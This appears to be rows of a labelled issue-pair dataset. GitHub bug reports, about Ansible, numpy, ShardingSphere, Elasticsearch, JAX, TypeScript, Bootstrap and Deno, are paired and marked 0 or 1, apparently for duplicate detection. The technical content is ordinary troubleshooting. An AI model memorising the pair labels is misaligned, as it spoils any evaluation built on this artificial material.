to be working on solving these challenges :)</p> <p dir="auto">We can hack a fix in for this by running:</p> <div class="snippet-clipboard-content notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content="sed -i '1032s/managed_disk_type = data_disk['managedDisk']['storageAccountType']/#managed_disk_type = data_disk['managedDisk']['storageAccountType']/g' /usr/lib/python2.7/site-packages/ansible/modules/cloud/azure/azure_rm_virtualmachine.py sed -i 's/managed_disk=managed_disk,/#managed_disk=managed_disk,/g' /usr/lib/python2.7/site-packages/ansible/modules/cloud/azure/azure_rm_virtualmachine.py sed -i 's/managed_disk=data_disk_managed_disk,/#managed_disk=data_disk_managed_disk,/g' /usr/lib/python2.7/site-packages/ansible/modules/cloud/azure/azure_rm_virtualmachine.py sed -i 's/self.delete_managed_disks(managed_disk_ids)/#self.delete_managed_disks(managed_disk_ids)/g' /usr/lib/python2.7/site-packages/ansible/modules/cloud/azure/azure_rm_virtualmachine.py sed -i -e '1193,1195d' /usr/lib/python2.7/site-packages/ansible/modules/cloud/azure/azure_rm_virtualmachine.py sed -i -e 's/elif(vm.storage_profile.os_disk.vhd):/if(vm.storage_profile.os_disk.vhd):/g' /usr/lib/python2.7/site-packages/ansible/modules/cloud/azure/azure_rm_virtualmachine.py"><pre class="notranslate"><code class="notranslate">sed -i '1032s/managed_disk_type = data_disk['managedDisk']['storageAccountType']/#managed_disk_type = data_disk['managedDisk']['storageAccountType']/g' /usr/lib/python2.7/site-packages/ansible/modules/cloud/azure/azure_rm_virtualmachine.py sed -i 's/managed_disk=managed_disk,/#managed_disk=managed_disk,/g' /usr/lib/python2.7/site-packages/ansible/modules/cloud/azure/azure_rm_virtualmachine.py sed -i 's/managed_disk=data_disk_managed_disk,/#managed_disk=data_disk_managed_disk,/g' /usr/lib/python2.7/site-packages/ansible/modules/cloud/azure/azure_rm_virtualmachine.py sed -i 's/self.delete_managed_disks(managed_disk_ids)/#self.delete_managed_disks(managed_disk_ids)/g' /usr/lib/python2.7/site-packages/ansible/modules/cloud/azure/azure_rm_virtualmachine.py sed -i -e '1193,1195d' /usr/lib/python2.7/site-packages/ansible/modules/cloud/azure/azure_rm_virtualmachine.py sed -i -e 's/elif(vm.storage_profile.os_disk.vhd):/if(vm.storage_profile.os_disk.vhd):/g' /usr/lib/python2.7/site-packages/ansible/modules/cloud/azure/azure_rm_virtualmachine.py </code></pre></div> <div class="snippet-clipboard-content notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content="TASK [Create virtual machine] *********************************************************************************************************************************************************************************************************************************************** task path: /root/.azure/test.yaml:59 Using module file /usr/lib/python2.7/site-packages/ansible/modules/cloud/azure/azure_rm_virtualmachine.py &lt;127.0.0.1&gt; ESTABLISH LOCAL CONNECTION FOR USER: root &lt;127.0.0.1&gt; EXEC /bin/sh -c 'echo ~ &amp;&amp; sleep 0' &lt;127.0.0.1&gt; EXEC /bin/sh -c '( umask 77 &amp;&amp; mkdir -p &quot;` echo /root/.ansible/tmp/ansible-tmp-1513336142.73-200392836720842 `&quot; &amp;&amp; echo ansible-tmp-1513336142.73-200392836720842=&quot;` echo /root/.ansible/tmp/ansible-tmp-1513336142.73-200392836720842 `&quot; ) &amp;&amp; sleep 0' &lt;127.0.0.1&gt; PUT /tmp/tmpouWOvA TO /root/.ansible/tmp/ansible-tmp-1513336142.73-200392836720842/azure_rm_virtualmachine.py &lt;127.0.0.1&gt; EXEC /bin/sh -c 'chmod u+x /root/.ansible/tmp/ansible-tmp-1513336142.73-200392836720842/ /root/.ansible/tmp/ansible-tmp-1513336142.73-200392836720842/azure_rm_virtualmachine.py &amp;&amp; sleep 0' &lt;127.0.0.1&gt; EXEC /bin/sh -c '/usr/bin/python2 /root/.ansible/tmp/ansible-tmp-1513336142.73-200392836720842/azure_rm_virtualmachine.py; rm -rf &quot;/root/.ansible/tmp/ansible-tmp-1513336142.73-200392836720842/&quot; &gt; /dev/null 2&gt;&amp;1 &amp;&amp; sleep 0' The full traceback is: Traceback (most recent call last): File &quot;/tmp/ansible_cOJ_1h/ansible_module_azure_rm_virtualmachine.py&quot;, line 1551, in &lt;module&gt; main() File &quot;/tmp/ansible_cOJ_1h/ansible_module_azure_rm_virtualmachine.py&quot;, line 1548, in main AzureRMVirtualMachine() File &quot;/tmp/ansible_cOJ_1h/ansible_module_azure_rm_virtualmachine.py&quot;, line 651, in __init__ supports_check_mode=True) File &quot;/tmp/ansible_cOJ_1h/ansible_modlib.zip/ansible/module_utils/azure_rm_common.py&quot;, line 285, in __init__ File &quot;/tmp/ansible_cOJ_1h/ansible_module_azure_rm_virtualmachine.py&quot;, line 867, in exec_module caching=self.os_disk_caching, TypeError: __init__() got an unexpected keyword argument 'managed_disk' fatal: [localhost]: FAILED! =&gt; { &quot;changed&quot;: false, &quot;module_stderr&quot;: &quot;Traceback (most recent call last):\n File \&quot;/tmp/ansible_cOJ_1h/ansible_module_azure_rm_virtualmachine.py\&quot;, line 1551, in &lt;module&gt;\n main()\n File \&quot;/tmp/ansible_cOJ_1h/ansible_module_azure_rm_virtualmachine.py\&quot;, line 1548, in main\n AzureRMVirtualMachine()\n File \&quot;/tmp/ansible_cOJ_1h/ansible_module_azure_rm_virtualmachine.py\&quot;, line 651, in __init__\n supports_check_mode=True)\n File \&quot;/tmp/ansible_cOJ_1h/ansible_modlib.zip/ansible/module_utils/azure_rm_common.py\&quot;, line 285, in __init__\n File \&quot;/tmp/ansible_cOJ_1h/ansible_module_azure_rm_virtualmachine.py\&quot;, line 867, in exec_module\n caching=self.os_disk_caching,\nTypeError: __init__() got an unexpected keyword argument 'managed_disk'\n&quot;, &quot;module_stdout&quot;: &quot;&quot;, &quot;msg&quot;: &quot;MODULE FAILURE&quot;, &quot;rc&quot;: 0 }"><pre class="notranslate"><code class="notranslate">TASK [Create virtual machine] *********************************************************************************************************************************************************************************************************************************************** task path: /root/.azure/test.yaml:59 Using module file /usr/lib/python2.7/site-packages/ansible/modules/cloud/azure/azure_rm_virtualmachine.py &lt;127.0.0.1&gt; ESTABLISH LOCAL CONNECTION FOR USER: root &lt;127.0.0.1&gt; EXEC /bin/sh -c 'echo ~ &amp;&amp; sleep 0' &lt;127.0.0.1&gt; EXEC /bin/sh -c '( umask 77 &amp;&amp; mkdir -p "` echo /root/.ansible/tmp/ansible-tmp-1513336142.73-200392836720842 `" &amp;&amp; echo ansible-tmp-1513336142.73-200392836720842="` echo /root/.ansible/tmp/ansible-tmp-1513336142.73-200392836720842 `" ) &amp;&amp; sleep 0' &lt;127.0.0.1&gt; PUT /tmp/tmpouWOvA TO /root/.ansible/tmp/ansible-tmp-1513336142.73-200392836720842/azure_rm_virtualmachine.py &lt;127.0.0.1&gt; EXEC /bin/sh -c 'chmod u+x /root/.ansible/tmp/ansible-tmp-1513336142.73-200392836720842/ /root/.ansible/tmp/ansible-tmp-1513336142.73-200392836720842/azure_rm_virtualmachine.py &amp;&amp; sleep 0' &lt;127.0.0.1&gt; EXEC /bin/sh -c '/usr/bin/python2 /root/.ansible/tmp/ansible-tmp-1513336142.73-200392836720842/azure_rm_virtualmachine.py; rm -rf "/root/.ansible/tmp/ansible-tmp-1513336142.73-200392836720842/" &gt; /dev/null 2&gt;&amp;1 &amp;&amp; sleep 0' The full traceback is: Traceback (most recent call last): File "/tmp/ansible_cOJ_1h/ansible_module_azure_rm_virtualmachine.py", line 1551, in &lt;module&gt; main() File "/tmp/ansible_cOJ_1h/ansible_module_azure_rm_virtualmachine.py", line 1548, in main AzureRMVirtualMachine() File "/tmp/ansible_cOJ_1h/ansible_module_azure_rm_virtualmachine.py", line 651, in __init__ supports_check_mode=True) File "/tmp/ansible_cOJ_1h/ansible_modlib.zip/ansible/module_utils/azure_rm_common.py", line 285, in __init__ File "/tmp/ansible_cOJ_1h/ansible_module_azure_rm_virtualmachine.py", line 867, in exec_module caching=self.os_disk_caching, TypeError: __init__() got an unexpected keyword argument 'managed_disk' fatal: [localhost]: FAILED! =&gt; { "changed": false, "module_stderr": "Traceback (most recent call last):\n File \"/tmp/ansible_cOJ_1h/ansible_module_azure_rm_virtualmachine.py\", line 1551, in &lt;module&gt;\n main()\n File \"/tmp/ansible_cOJ_1h/ansible_module_azure_rm_virtualmachine.py\", line 1548, in main\n AzureRMVirtualMachine()\n File \"/tmp/ansible_cOJ_1h/ansible_module_azure_rm_virtualmachine.py\", line 651, in __init__\n supports_check_mode=True)\n File \"/tmp/ansible_cOJ_1h/ansible_modlib.zip/ansible/module_utils/azure_rm_common.py\", line 285, in __init__\n File \"/tmp/ansible_cOJ_1h/ansible_module_azure_rm_virtualmachine.py\", line 867, in exec_module\n caching=self.os_disk_caching,\nTypeError: __init__() got an unexpected keyword argument 'managed_disk'\n", "module_stdout": "", "msg": "MODULE FAILURE", "rc": 0 } </code></pre></div>
0
<p dir="auto"><em>Original ticket <a href="http://projects.scipy.org/numpy/ticket/1163" rel="nofollow">http://projects.scipy.org/numpy/ticket/1163</a> on 2009-07-09 by trac user onsi, assigned to unknown.</em></p> <p dir="auto">I'm running version 1.2.1 but this error should also occur in 1.3.0 based on the source currently in the trunk.</p> <p dir="auto">I try importing the following ascii data stored in "sample.csv":</p> <p dir="auto">9007200000000000,670927001710,0.010190886[[BR]]<br> 9007200000000001,660927001348,0.00976051[[BR]]<br> 9007200000000002,650883003926,0.009154096</p> <p dir="auto">using (maximal verbosity for clarity):</p> <div class="snippet-clipboard-content notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content="import numpy arr=numpy.loadtxt(&quot;sample.csv&quot;,dtype=[('id0',numpy.int64),('id1',numpy.int64),('flt',numpy.float32)],delimiter=',',comments='#')"><pre class="notranslate"><code class="notranslate">import numpy arr=numpy.loadtxt("sample.csv",dtype=[('id0',numpy.int64),('id1',numpy.int64),('flt',numpy.float32)],delimiter=',',comments='#') </code></pre></div> <p dir="auto">I get:</p> <p dir="auto">[(9007200000000000L, 670927001710L, 0.010190886445343494)[[BR]](<strong>9007200000000000L</strong>, 660927001348L, 0.0097605101764202118)[[BR]](9007200000000002L, 650883003926L, 0.009154096245765686)][[BR]]</p> <p dir="auto">After some digging, i found the culprit to be the converter used by loadtxt to convert strings to dtypes. lib.io._getconv (line 352 in trunk) returns:</p> <div class="snippet-clipboard-content notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content="lambda x: int(float(x))"><pre class="notranslate"><code class="notranslate">lambda x: int(float(x)) </code></pre></div> <p dir="auto">as the converter for any dtype that is a subclass of int, which int64 is. Unfortunately, float does not faithfully reproduce long integers and so 9007200000000001 gets rounded to 9007200000000000.</p> <p dir="auto">This is fairly serious as int64s are often used as IDs in various numerical/simulation contexts. Changing the converter to int() should resolve this problem -- though then some error checking needs to take place to ensure that int is fed an integer string.</p>
<p dir="auto"><em>Original ticket <a href="http://projects.scipy.org/numpy/ticket/1565" rel="nofollow">http://projects.scipy.org/numpy/ticket/1565</a> on 2010-07-28 by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fengy-research/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fengy-research">@fengy-research</a>, assigned to unknown.</em></p> <p dir="auto">Prepare the following file:</p> <p dir="auto">-------file /tmp/test -----<br> 9223372043271415339<br> 9223372043271415853<br> 9223372043271415612<br> 9223372043271416107<br> 9223372043271415594<br> 9223372043271415836<br> 9223372043761290139<br> 9223372044088967272<br> 9223372044088967273<br> 9223372043925949039<br> ---------end of file-----</p> <p dir="auto">And run the following code:</p> <p dir="auto">In [16]: print loadtxt('/tmp/test', dtype='uint64')<br> -------&gt; print(loadtxt('/tmp/test', dtype='uint64'))<br> [9223372043271415808 9223372043271415808 9223372043271415808<br> 9223372043271415808 9223372043271415808 9223372043271415808<br> 9223372043761289216 9223372044088967168 9223372044088967168<br> 9223372043925948416]</p> <p dir="auto">On the other hand, with fromfile(),</p> <p dir="auto">In [2]: print fromfile('/tmp/test', dtype='uint64', sep=' ')<br> ------&gt; print(fromfile('/tmp/test', dtype='uint64', sep=' '))<br> [9223372043271415339 9223372043271415853 9223372043271415612<br> 9223372043271416107 9223372043271415594 9223372043271415836<br> 9223372043761290139 9223372044088967272 9223372044088967273<br> 9223372043925949039]</p> <p dir="auto">Clearly the first few numbers are wrongly converted by loadtxt</p> <p dir="auto">The problem was tracked to line 453 in numpy/lib/io.py, _getconv. The conversion for np.integer is int(float(x)), which is inexact for large integers.</p> <p dir="auto">I don't know if a priority of normal is appropriate, as this bug will produce hidden errors in programs that use numpy.</p>
1
<p dir="auto">springboot2.4.5, mybatis-plus3.4.1, shardingsphere-jdbc-core-spring-boot-starter5.1.2<br> 单库,20 张表,其中 1 张表分表<br> 11 代 I7, 16G 内存<br> 未分表前启动很快,10s 左右,分表后平均时间 6 分多钟</p> <div class="snippet-clipboard-content notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content="spring: shardingsphere: datasource: ds: driver-class-name: com.mysql.cj.jdbc.Driver jdbc-url: jdbc:mysql://localhost:3306/test?useSSL=false&amp;useUnicode=true&amp;characterEncoding=utf-8&amp;autoReconnect=true&amp;zeroDateTimeBehavior=convertToNull&amp;useJDBCCompliantTimezoneShift=true&amp;useLegacyDatetimeCode=false&amp;serverTimezone=Asia/Shanghai&amp;rewriteBatchedStatements=true&amp;allowPublicKeyRetrieval=true password: 123456 type: com.zaxxer.hikari.HikariDataSource username: root validation-timeout: 5000 connection-timeout: 30000 max-lifetime: 1800000 maximum-pool-size: 20 minimum-idle: 5 idle-timeout: 600000 auto-commit: true connection-test-query: SELECT 1 pool-name: ${spring.application.name}-ds names: ds mode: type: Memory rules: sharding: key-generators: snowflake: type: SNOWFLAKE sharding-algorithms: local-date-time-inline: props: strategy: standard algorithmClassName: com.test.sharding.CustomLocalDateTimeStrategyShardingAlgorithm type: CLASS_BASED tables: test_bigdata_his: actual-data-nodes: ds.test_bigdata_his_202$-&gt;{201..912} # 按月分表 key-generate-strategy: column: id key-generator-name: snowflake table-strategy: standard: sharding-algorithm-name: local-date-time-inline sharding-column: data_time props: sql-show: true max: connections: size: per: query: 50"><pre class="notranslate"><code class="notranslate">spring: shardingsphere: datasource: ds: driver-class-name: com.mysql.cj.jdbc.Driver jdbc-url: jdbc:mysql://localhost:3306/test?useSSL=false&amp;useUnicode=true&amp;characterEncoding=utf-8&amp;autoReconnect=true&amp;zeroDateTimeBehavior=convertToNull&amp;useJDBCCompliantTimezoneShift=true&amp;useLegacyDatetimeCode=false&amp;serverTimezone=Asia/Shanghai&amp;rewriteBatchedStatements=true&amp;allowPublicKeyRetrieval=true password: 123456 type: com.zaxxer.hikari.HikariDataSource username: root validation-timeout: 5000 connection-timeout: 30000 max-lifetime: 1800000 maximum-pool-size: 20 minimum-idle: 5 idle-timeout: 600000 auto-commit: true connection-test-query: SELECT 1 pool-name: ${spring.application.name}-ds names: ds mode: type: Memory rules: sharding: key-generators: snowflake: type: SNOWFLAKE sharding-algorithms: local-date-time-inline: props: strategy: standard algorithmClassName: com.test.sharding.CustomLocalDateTimeStrategyShardingAlgorithm type: CLASS_BASED tables: test_bigdata_his: actual-data-nodes: ds.test_bigdata_his_202$-&gt;{201..912} # 按月分表 key-generate-strategy: column: id key-generator-name: snowflake table-strategy: standard: sharding-algorithm-name: local-date-time-inline sharding-column: data_time props: sql-show: true max: connections: size: per: query: 50 </code></pre></div>
<p dir="auto"><code class="notranslate">sharding-jdbc</code> : <code class="notranslate">5.1.2</code></p> <div class="highlight highlight-text-xml notranslate position-relative overflow-auto" dir="auto" data-snippet-clipboard-copy-content=" &lt;dependency&gt; &lt;groupId&gt;org.apache.shardingsphere&lt;/groupId&gt; &lt;artifactId&gt;shardingsphere-jdbc-core-spring-boot-starter&lt;/artifactId&gt; &lt;version&gt;5.1.2&lt;/version&gt; &lt;/dependency&gt;"><pre class="notranslate"> &lt;<span class="pl-ent">dependency</span>&gt; &lt;<span class="pl-ent">groupId</span>&gt;org.apache.shardingsphere&lt;/<span class="pl-ent">groupId</span>&gt; &lt;<span class="pl-ent">artifactId</span>&gt;shardingsphere-jdbc-core-spring-boot-starter&lt;/<span class="pl-ent">artifactId</span>&gt; &lt;<span class="pl-ent">version</span>&gt;5.1.2&lt;/<span class="pl-ent">version</span>&gt; &lt;/<span class="pl-ent">dependency</span>&gt;</pre></div> <p dir="auto"><code class="notranslate">tables</code> : <code class="notranslate">200+</code></p> <p dir="auto">same config, with version <code class="notranslate">5.1.0</code> , application startup very fast</p> <p dir="auto">change to version <code class="notranslate">5.1.2</code> , application start very slow......</p>
1
<p dir="auto">Hi,</p> <p dir="auto">I'm working with histogram aggregation but there is something strange with keys.<br> For instance (cf : <a href="http://www.elasticsearch.org/guide/en/elasticsearch/reference/current/search-aggregations-bucket-histogram-aggregation.html" rel="nofollow">http://www.elasticsearch.org/guide/en/elasticsearch/reference/current/search-aggregations-bucket-histogram-aggregation.html</a>):</p> <p dir="auto">If I use this request :<br> {<br> "aggs" : {<br> "prices" : {<br> "histogram" : {<br> "field" : "price",<br> "interval" : 50<br> }<br> }<br> }<br> }</p> <p dir="auto">I obtain something like this :<br> {<br> "aggregations": {<br> "prices" : {<br> "buckets": [<br> {<br> "key_as_string" : "0",<br> "key": 0,<br> "doc_count": 2<br> },<br> {<br> "key_as_string" : "50",<br> "key": 50,<br> "doc_count": 4<br> },<br> {<br> "key_as_string" : "150",<br> "key": 150,<br> "doc_count": 3<br> }<br> ]<br> }<br> }<br> }</p> <p dir="auto">Instead of :<br> {<br> "aggregations": {<br> "prices" : {<br> "buckets": [<br> {<br> "key": 0,<br> "doc_count": 2<br> },<br> {<br> "key": 50,<br> "doc_count": 4<br> },<br> {<br> "key": 150,<br> "doc_count": 3<br> }<br> ]<br> }<br> }<br> }</p> <p dir="auto">You could say, it's not important but it generates json ~1/3 bigger...<br> Is there a mean to disable this ???</p> <p dir="auto">Moreover, in Elasticsearch Java API, it could be fine to have a method to request the response as a hash instead keyed by the buckets keys (cf :<a href="http://www.elasticsearch.org/guide/en/elasticsearch/reference/current/search-aggregations-bucket-histogram-aggregation.html#_response_format" rel="nofollow">http://www.elasticsearch.org/guide/en/elasticsearch/reference/current/search-aggregations-bucket-histogram-aggregation.html#_response_format</a>)</p> <p dir="auto">Thanks!!!</p>
<p dir="auto">Version - 1.3.2<br> Steps to reproduce</p> <div class="snippet-clipboard-content notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content="cat a.json { &quot;user&quot; : &quot;vm&quot; }}"><pre class="notranslate"><code class="notranslate">cat a.json { "user" : "vm" }} </code></pre></div> <div class="snippet-clipboard-content notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content="curl -XPOST &quot;http://localhost:9200/config/alert&quot; -d @a.json { &quot;_index&quot;: &quot;config&quot;, &quot;_type&quot;: &quot;alert&quot;, &quot;_id&quot;: &quot;0_UJFBy3SLOnfwCnS-D_Zg&quot;, &quot;_version&quot;: 1, &quot;created&quot;: true }"><pre class="notranslate"><code class="notranslate">curl -XPOST "http://localhost:9200/config/alert" -d @a.json { "_index": "config", "_type": "alert", "_id": "0_UJFBy3SLOnfwCnS-D_Zg", "_version": 1, "created": true } </code></pre></div> <p dir="auto">Impact: Indexing is happening fine but on return the same wrong formatted JSON is returned and its breaking the application reading it as it expects properly formatted JSON string.</p>
0
<p dir="auto">The NaN debugging feature works with JIT (good), but not with pmap (bad). Please make it work with pmap.</p>
<p dir="auto">When I ran the following script:</p> <div class="snippet-clipboard-content notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content="from functools import partial import jax import jax.numpy as jnp @partial(jax.pmap, axis_name='i') def nan_with_pmap(x): return jnp.log(-x) print(nan_with_pmap(jnp.array([42.])))"><pre class="notranslate"><code class="notranslate">from functools import partial import jax import jax.numpy as jnp @partial(jax.pmap, axis_name='i') def nan_with_pmap(x): return jnp.log(-x) print(nan_with_pmap(jnp.array([42.]))) </code></pre></div> <p dir="auto">using</p> <div class="snippet-clipboard-content notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content="JAX_DEBUG_NANS=true python script.py"><pre class="notranslate"><code class="notranslate">JAX_DEBUG_NANS=true python script.py </code></pre></div> <p dir="auto">I expected it to crash at the point where the nan was produced, but instead the script prints:</p> <div class="snippet-clipboard-content notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content="[nan]"><pre class="notranslate"><code class="notranslate">[nan] </code></pre></div> <p dir="auto">Would it be possible to add nan detection to <code class="notranslate">pmap</code> as well?</p>
1
<p dir="auto">I'm trying to use angular2 as a JSPM package.<br> When I'm doing something like<br> <code class="notranslate">import {bootstrap, Component, Input} from 'angular2/angular2';</code><br> in my code then typescript complains that it can't find the definitions and I don't get any code completions.</p> <p dir="auto">The workaround is to install angular2 also as a npm package and set moduleResolution to node. However this seems not optimal, because now I have two dependencies whose versions need to be aligned.</p> <p dir="auto">I guess tsc could resolve the modules for jspm/systemjs similar to how it already can do it for node. E.g. look up package.json, config.js and use the pathes from there the locate to type definitions inside the jspm_packages folder.</p> <p dir="auto">Not really sure if this is covered by <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="109143324" data-permission-text="Title is private" data-url="https://github.com/microsoft/TypeScript/issues/5039" data-hovercard-type="issue" data-hovercard-url="/microsoft/TypeScript/issues/5039/hovercard" href="https://github.com/microsoft/TypeScript/issues/5039">#5039</a> and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="117968555" data-permission-text="Title is private" data-url="https://github.com/microsoft/TypeScript/issues/5728" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/TypeScript/pull/5728/hovercard" href="https://github.com/microsoft/TypeScript/pull/5728">#5728</a>.</p>
<p dir="auto">I get this error - Build: Cannot compile modules unless the '--module' flag is provided.<br> even though I have AMD checked in the project settings.<br> Visual Studio 2015. 14.0.23107.0 D14REL<br> TypeScript Tools for Microsoft Visual Studio 2015 1.5.4.0</p>
0
<p dir="auto">dropdown-menu is not shifted to the left if it reaches the right edge of the screen.</p> <p dir="auto">Demonstration: <a href="https://drive.google.com/file/d/0B0nwzlfiB4aQRTRtNVVCZ3JRbjg/edit?usp=sharing" rel="nofollow">https://drive.google.com/file/d/0B0nwzlfiB4aQRTRtNVVCZ3JRbjg/edit?usp=sharing</a></p>
<p dir="auto">A picture is worth a thousand words; this is taken directly from the docs with chrome at 515px wide.</p> <p dir="auto"><a target="_blank" rel="noopener noreferrer nofollow" href="https://cloud.githubusercontent.com/assets/5419074/2854143/50ee4874-d14d-11e3-815a-0f0fe86f51ea.png"><img src="https://cloud.githubusercontent.com/assets/5419074/2854143/50ee4874-d14d-11e3-815a-0f0fe86f51ea.png" alt="image" style="max-width: 100%;"></a></p> <p dir="auto">I've implemented the following solution in my own project to remedy this, and would like to know if it is worth submitting a pull request for (modified, of course)</p> <div class="snippet-clipboard-content notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content="$(document).on('shown.bs.dropdown', function () { OffsetDropdown() $(window).on('resize.bs.dropdown', function () { OffsetDropdown() }) }) $(document).on('hide.bs.dropdown', function() { $(window).off('resize.bs.dropdown') }) var OffsetDropdown = function() { var dropdown = $('.open&gt;.dropdown-menu') if (dropdown.length == 0) return var rightOffset = dropdown.offset().left + dropdown.width() var browserWidth = $('body').innerWidth() var neededLeftOffset = dropdown.position().left - (rightOffset - browserWidth) if (neededLeftOffset &lt; 0) { dropdown.css({ left: neededLeftOffset - 3 }) } else { dropdown.css({ left: 0 }) } }"><pre class="notranslate"><code class="notranslate">$(document).on('shown.bs.dropdown', function () { OffsetDropdown() $(window).on('resize.bs.dropdown', function () { OffsetDropdown() }) }) $(document).on('hide.bs.dropdown', function() { $(window).off('resize.bs.dropdown') }) var OffsetDropdown = function() { var dropdown = $('.open&gt;.dropdown-menu') if (dropdown.length == 0) return var rightOffset = dropdown.offset().left + dropdown.width() var browserWidth = $('body').innerWidth() var neededLeftOffset = dropdown.position().left - (rightOffset - browserWidth) if (neededLeftOffset &lt; 0) { dropdown.css({ left: neededLeftOffset - 3 }) } else { dropdown.css({ left: 0 }) } } </code></pre></div>
1
<p dir="auto">Hi, I hope this is an appropriate forum for a feature request. For context - I've just been confused by the lack of configuring semicolons for the <code class="notranslate">deno lint</code> command, when you're able to customize other things such as quotes(double vs single).</p> <p dir="auto">Now, I understand not everyone likes ASI in JavaScript, but isn't the whole point of a linting tool to empower users to define their own coding standards?</p> <p dir="auto">So to that end, I would like to ask the Deno maintainers if there are any plans to expand the scope of what can be configured with <code class="notranslate">deno lint</code>? Or is the intent of the tool to be opinionated and enforce one standard upon all users of the built in command?</p>
<p dir="auto">I am a bit miffed by this error reported by the test runner (notice the async/ops resource sanitizer is not printing (I am the one doing the print). The test completes, reports passed, but a trace at the end.<br> Any hints, thoughts?</p> <div class="snippet-clipboard-content notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content="running 1 tests test clean shutdown ... { &quot;0&quot;: &quot;stdin&quot;, &quot;1&quot;: &quot;stdout&quot;, &quot;2&quot;: &quot;stderr&quot;, &quot;3&quot;: &quot;webSocketStream&quot; } ok (11ms) test result: ok. 1 passed; 0 failed; 0 ignored; 0 measured; 0 filtered out (11ms) error: Uncaught (in promise) BadResource: Bad resource ID at handleError (deno:core/core.js:186:12) at jsonOpParseResult (deno:core/core.js:356:9) at opSync (deno:core/core.js:259:32) at jsonOpSync (deno:core/core.js:372:12) at Object.close (deno:core/core.js:383:12) at WebSocket.#eventLoop (deno:op_crates/websocket/01_websocket.js:353:18) "><pre class="notranslate"><code class="notranslate">running 1 tests test clean shutdown ... { "0": "stdin", "1": "stdout", "2": "stderr", "3": "webSocketStream" } ok (11ms) test result: ok. 1 passed; 0 failed; 0 ignored; 0 measured; 0 filtered out (11ms) error: Uncaught (in promise) BadResource: Bad resource ID at handleError (deno:core/core.js:186:12) at jsonOpParseResult (deno:core/core.js:356:9) at opSync (deno:core/core.js:259:32) at jsonOpSync (deno:core/core.js:372:12) at Object.close (deno:core/core.js:383:12) at WebSocket.#eventLoop (deno:op_crates/websocket/01_websocket.js:353:18) </code></pre></div>
0
<h5 dir="auto">ISSUE TYPE</h5> <ul dir="auto"> <li>Bug Report</li> </ul> <h5 dir="auto">COMPONENT NAME</h5> <p dir="auto">template_module</p> <h5 dir="auto">ANSIBLE VERSION</h5> <div class="snippet-clipboard-content notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content="ansible 2.2.1.0"><pre class="notranslate"><code class="notranslate">ansible 2.2.1.0 </code></pre></div> <h5 dir="auto">SUMMARY</h5> <p dir="auto">When <strong>Role Includes the Role</strong>, the template module browse the incorrect path looking for a template file</p> <h5 dir="auto">STEPS TO REPRODUCE</h5> <div class="snippet-clipboard-content notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content="[run with -vvvvv to see the paths] TASK [app_campaigns_manager : Ensure service configuration] ******************** task path: /home/me/ansible/etc/playbooks/roles/app_generic/tasks/service.yml:1 looking for &quot;upstart.conf&quot; at &quot;/home/me/ansible/etc/playbooks/roles/app_campaigns_manager/templates/upstart.conf&quot; looking for &quot;upstart.conf&quot; at &quot;/home/me/ansible/etc/playbooks/roles/app_campaigns_manager/upstart.conf&quot; looking for &quot;upstart.conf&quot; at &quot;/home/me/ansible/etc/playbooks/roles/app_generic/tasks/templates/upstart.conf&quot; &lt;&lt;&lt; TASKS? looking for &quot;upstart.conf&quot; at &quot;/home/me/ansible/etc/playbooks/roles/app_generic/tasks/upstart.conf&quot; looking for &quot;upstart.conf&quot; at &quot;/home/me/ansible/etc/playbooks/templates/upstart.conf&quot; looking for &quot;upstart.conf&quot; at &quot;/home/me/ansible/etc/playbooks/upstart.conf&quot;"><pre class="notranslate"><code class="notranslate">[run with -vvvvv to see the paths] TASK [app_campaigns_manager : Ensure service configuration] ******************** task path: /home/me/ansible/etc/playbooks/roles/app_generic/tasks/service.yml:1 looking for "upstart.conf" at "/home/me/ansible/etc/playbooks/roles/app_campaigns_manager/templates/upstart.conf" looking for "upstart.conf" at "/home/me/ansible/etc/playbooks/roles/app_campaigns_manager/upstart.conf" looking for "upstart.conf" at "/home/me/ansible/etc/playbooks/roles/app_generic/tasks/templates/upstart.conf" &lt;&lt;&lt; TASKS? looking for "upstart.conf" at "/home/me/ansible/etc/playbooks/roles/app_generic/tasks/upstart.conf" looking for "upstart.conf" at "/home/me/ansible/etc/playbooks/templates/upstart.conf" looking for "upstart.conf" at "/home/me/ansible/etc/playbooks/upstart.conf" </code></pre></div> <p dir="auto">The correct path is:<br> <code class="notranslate">/home/me/ansible/etc/playbooks/roles/app_generic/templates/upstart.conf</code></p> <h5 dir="auto">Observation</h5> <p dir="auto">The problem happen, because the playbook include the role that include the role:<br> <code class="notranslate">playbook -&gt; role: app_campaigns_manager -&gt; role: app_generic</code></p> <div class="snippet-clipboard-content notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content="playbook.yml (...) roles: app_campaigns_manager roles/app_campaigns_manager/tasks/main.yml (...) - include: ../../app_so1_generic/tasks/main.yml "><pre class="notranslate"><code class="notranslate">playbook.yml (...) roles: app_campaigns_manager roles/app_campaigns_manager/tasks/main.yml (...) - include: ../../app_so1_generic/tasks/main.yml </code></pre></div> <h5 dir="auto">EXPECTED RESULTS</h5> <p dir="auto">Browse the proper files :)</p> <p dir="auto">I know the template_module has 'template_path' and 'template_fullpath', but still it would be nice it the roles would be aware of it's location independent of it's include/execution.</p> <hr> <p dir="auto">I may take a minute later, to prepare PR, but having rather busy time, so any help appreciated.</p>
